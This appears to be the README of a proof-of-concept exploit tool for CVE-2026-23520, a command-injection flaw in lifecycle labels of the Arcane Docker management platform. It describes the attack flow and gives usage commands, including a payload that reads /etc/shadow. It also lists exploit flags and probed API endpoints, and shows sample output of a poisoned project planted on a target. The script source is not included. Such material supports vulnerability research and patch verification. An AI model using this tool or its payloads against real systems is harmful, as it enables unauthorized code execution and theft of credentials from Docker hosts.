
Proof-of-concept exploit for CVE-2026-23520, an authenticated RCE in Arcane Docker management via OS command injection in lifecycle labels. Includes check, exploit, and generate modes.
OS Command Injection in Arcane Docker Management (< 1.13.0)
Arcane is a modern, web-based Docker management platform. Versions prior to 1.13.0 are vulnerable to an authenticated Remote Code Execution (RCE) via OS command injection in the updater service's lifecycle labels.
The updater service supported two Docker container labels:
| Label | Trigger |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | Before a container update |
com.getarcaneapp.arcane.lifecycle.post-update | After a container update |
The label value is passed directly to /bin/sh -c without any sanitization. Because any authenticated user (not just administrators) can create projects through the API, an attacker can plant a poisoned project. When an admin later triggers a container update, the injected command executes inside the container — and potentially on the host if volume mounts are present.
Attacker (low-priv user) Arcane Server
──────────────────────── ──────────────
1. Authenticate (any user) ──────────► JWT issued
2. Create project with Project saved with
poisoned lifecycle label ──────────► malicious label
│
┌───────────────────────────────────┘
│ 3. Admin triggers container update
▼
Arcane updater reads label value
Passes it to /bin/sh -c
│
▼
*** Arbitrary command execution ***
(container scope, or host if volumes mounted)
| Status | Versions |
|---|---|
| Vulnerable | Arcane < 1.13.0 |
| Patched | Arcane ≥ 1.13.0 |
The fix (commit 5a9c2f9) completely removes the lifecycle label feature to eliminate the attack surface.
urllib only, runs on any Python 3.10+check (fingerprint), exploit (deploy), generate (offline compose file)-v) — shows exactly which endpoints are being probed and what comes backpython3 poc_cve_2026_23520.py check -t <TARGET_IP>
python3 poc_cve_2026_23520.py exploit \
-t <TARGET_IP> \
-u <USERNAME> \
-p <PASSWORD> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit Deploy the poisoned project via the Arcane API
check Fingerprint Arcane and check if vulnerable
generate Generate a poisoned compose file (no network required)
options:
-h, --help show this help message and exit
-v, --verbose Show probing debug output
Exploit flags:
| Flag | Description | Default |
|---|---|---|
-t, --target | Arcane host (IP or hostname) | required |
-P, --port | Arcane port | 3552 |
-u, --username | Any authenticated Arcane user | required |
-p, --password | User password | required |
--payload | Shell command to inject | id |
--hook | pre or post update hook | pre |
--project-name | Name for the poisoned project | poc-cve-2026-23520 |
--env-id | Environment ID (auto-detected if omitted) | auto |
--scheme | http or https | http |
--no-verify | Skip TLS certificate verification | off |
The script doesn't hardcode a single API path. Instead it silently probes multiple known paths for each operation and stops at the first hit:
| Operation | Endpoints tried |
|---|---|
| Version | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| Auth | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| Environments | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| Project create | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects, and more |
Response keys are also matched flexibly (e.g., currentVersion, version, Version, serverVersion — including nested objects and case-insensitive lookup).
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── Step 1 · Fingerprinting Target ──
[*] Target: http://10.129.7.208:3552
[*] Probing version endpoints …
[+] Found version via /api/version
[+] Arcane version: v1.12.4
[+] Version v1.12.4 is < 1.13.0 — VULNERABLE
── Step 2 · Authentication ──
[*] Authenticating as attacker …
[+] JWT obtained via /api/auth/login
── Step 3 · Environment Discovery ──
[*] Probing environment endpoints …
[+] Found 1 environment(s) via /api/environments
[*] → 1 (local)
[+] Using environment: 1
── Step 4 · Planting Poisoned Project ──
[*] Injecting payload into lifecycle label: pre-update
[*] Label : com.getarcaneapp.arcane.lifecycle.pre-update
[*] Value : id
[+] Project created via /api/environments/1/projects
── Exploit Planted Successfully ──
[+] The poisoned project is now waiting for an update trigger.
5a9c2f9This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse. Only use this against systems you own or have explicit written permission to test.
MIT